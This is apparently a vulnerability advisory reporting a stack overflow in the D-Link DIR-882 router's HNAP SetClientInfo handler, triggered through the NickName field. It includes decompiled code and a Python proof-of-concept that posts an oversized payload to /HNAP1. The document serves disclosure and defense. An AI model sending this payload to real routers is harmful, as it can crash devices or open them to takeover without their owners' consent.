D-Link DIR-882(1.10B02, 1.20B06) has a Stack Overflow Vulnerability

Product

1. product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-882
2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6573

Affected version

1.10B02, 1.20B06

Vulnerability

```
82  v19 = webGetVarString(a1, (int)"/SetClientInfo/ClientInfoLists/ClientInfo/MacAddress");
83  if ( !v19 || TWCheckMacAddr(v19) )
84  {
85    v11 = 12;
86    goto LABEL_56;
87  }
88  v20 = webGetVarString(a1, (int)"/SetClientInfo/ClientInfoLists/ClientInfo/NickName");
89  if ( !v20 )
90  {
91    v11 = 12;
92    goto LABEL_56;
93  }
94  v21 = (const char *)webGetVarString(a1, (int)"/SetClientInfo/ClientInfoLists/ClientInfo/ReserveIP");
95  if ( !v21 )
96  {
97    v11 = 12;
98    goto LABEL_56;
99  }
100 TWTranslatUpperToLower(v19, v34);
101 if ( strchr(v34, 45) )
102   tbsStringReplace(v34, "-", ":");
103 if ( sub_48D720() == -1 )
104 {
```

In `webGetVarString` function, `/SetClientInfo/ClientInfoLists/ClientInfo/NickName` is controllable and will be passed into the `v20`. Then, `v20` will be used by `snprintf`. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```
148           else
149           {
150             v5 = snprintf(v15 + v13, v18 - v13, "%s,%s,%s,%s;", v3, v20, v34, v4);
151             v13 += v5;
152             v17 = 1;
153           }
154         else
155         {
156           v6 = snprintf(v15 + v13, v18 - v13, "%s;", (const char *)v29[i]);
157           v13 += v6;
158         }
159       }
160     }
161     if ( !v17 )
162     {
163       if ( v12 )
164         v7 = "1";
165       else
166         v7 = "0";
167       if ( v12 )
168         v8 = v21;
169       else
170         v8 = v27;
171       v9 = snprintf(v15 + v13, v18 - v13, "%s,%s,%s,%s;", v7, v20, v34, v8);
172       v13 += v9;
173     }
174     if ( *(_BYTE *)(v15 + v13 - 1) == 59 )
175       *(_BYTE *)(v15 + v13 - 1) = 0;
176     nvram_safe_set("lan0_dhcps_staticlist", v15);
177   }
```

vuln

vuln

PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'NickName=' + p1

p3 = b"POST /HNAP1" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```